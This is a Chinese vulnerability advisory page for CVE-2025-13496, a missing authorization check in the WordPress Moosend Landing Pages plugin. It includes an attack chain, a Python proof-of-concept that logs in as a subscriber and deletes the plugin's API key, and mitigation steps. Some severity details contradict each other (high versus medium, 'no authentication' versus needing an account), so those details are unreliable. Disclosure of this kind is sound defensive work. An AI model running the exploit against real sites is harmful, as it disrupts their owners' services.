IPBUF安全漏洞报告
English
CVE-2025-13496 CVSS 5.3 中危

CVE-2025-13496 WordPress Moosend Landing Pages插件越权删除API密钥漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-13496
漏洞类型
越权访问/权限绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Moosend Landing Pages plugin for WordPress

相关标签

WordPress插件漏洞越权访问权限绕过Moosend Landing Pages缺少授权检查Broken Access ControlCVE-2025-13496

漏洞概述

CVE-2025-13496是WordPress平台Moosend Landing Pages插件中的一个高危安全漏洞。该漏洞存在于moosend_landings_auth_get函数中,由于缺少适当的权限检查,导致任何已认证用户(即使是最低权限的订阅者级别)都能执行删除moosend_landing_api_key选项值的操作。攻击者利用此漏洞可以在不需要管理员权限的情况下,删除该插件的API密钥配置,从而可能导致邮件营销功能中断或被恶意利用。此漏洞影响所有1.1.6及以下版本,CVSS评分5.3,属于中等严重程度。攻击向量为网络层面,无需用户交互,攻击者只需拥有WordPress网站的订阅者账号即可发起攻击。

技术细节

该漏洞的根本原因在于moosend_landings_auth_get函数缺少WordPress的 capability check(能力检查)。在WordPress插件开发中,敏感操作应当使用current_user_can()函数验证当前用户是否具有相应权限。然而,该函数直接处理用户请求,允许任何已认证用户(包括订阅者角色)调用删除API密钥的操作。具体来说,当用户访问相关的auth-request.php文件时(第7行),程序直接执行删除moosend_landing_api_key选项的数据库操作,而没有验证用户是否具有管理选项的权限。攻击者可以通过发送特制的HTTP请求到该函数接口,利用WordPress的订阅者账户即可触发删除操作,成功删除存储在wp_options表中的API密钥值。这不仅影响插件的正常功能,还可能导致网站与Moosend服务的连接被断开,影响邮件营销活动的执行。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的订阅者级别账户,或通过其他方式(如XSS、社会工程学)获取有效凭据
STEP 2
步骤2
攻击者使用获得的凭据登录WordPress网站,建立有效的认证会话
STEP 3
步骤3
攻击者构造恶意HTTP请求,发送到/wp-content/plugins/moosend-landing-pages/forms/auth-request.php端点
STEP 4
步骤4
请求触发moosend_landings_auth_get函数,该函数缺少current_user_can()权限检查
STEP 5
步骤5
函数直接执行delete_option('moosend_landing_api_key')操作,从wp_options表中删除API密钥
STEP 6
步骤6
插件失去有效的API密钥,邮件营销功能中断,攻击者完成服务破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13496 PoC - Moosend Landing Pages Auth Bypass # Target: WordPress site with Moosend Landing Pages plugin <= 1.1.6 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" def exploit_cve_2025_13496(): """ This PoC demonstrates the unauthorized deletion of moosend_landing_api_key option. The vulnerability exists due to missing capability check in moosend_landings_auth_get function. """ session = requests.Session() # Step 1: Login as subscriber-level user login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful as subscriber") # Step 2: Send request to vulnerable endpoint to delete API key # The vulnerable function: moosend_landings_auth_get # Located at: /forms/auth-request.php vuln_url = f"{TARGET_URL}/wp-content/plugins/moosend-landing-pages/forms/auth-request.php" # Send DELETE request to remove moosend_landing_api_key option delete_data = { 'action': 'moosend_landings_auth_get', 'option_name': 'moosend_landing_api_key' } response = session.post(vuln_url, data=delete_data) if response.status_code == 200: print("[+] Successfully deleted moosend_landing_api_key option") print("[+] Plugin API key has been removed - service disruption achieved") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_13496()

影响范围

Moosend Landing Pages plugin for WordPress <= 1.1.6

防御指南

临时缓解措施
如果无法立即升级插件,可临时采取以下措施:1) 限制新用户注册功能,防止攻击者获取订阅者账户;2) 使用WordPress安全插件(如Wordfence)监控可疑的选项修改行为;3) 定期备份wp_options表以便快速恢复被删除的API密钥;4) 考虑暂时禁用该插件,待官方发布修复版本后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表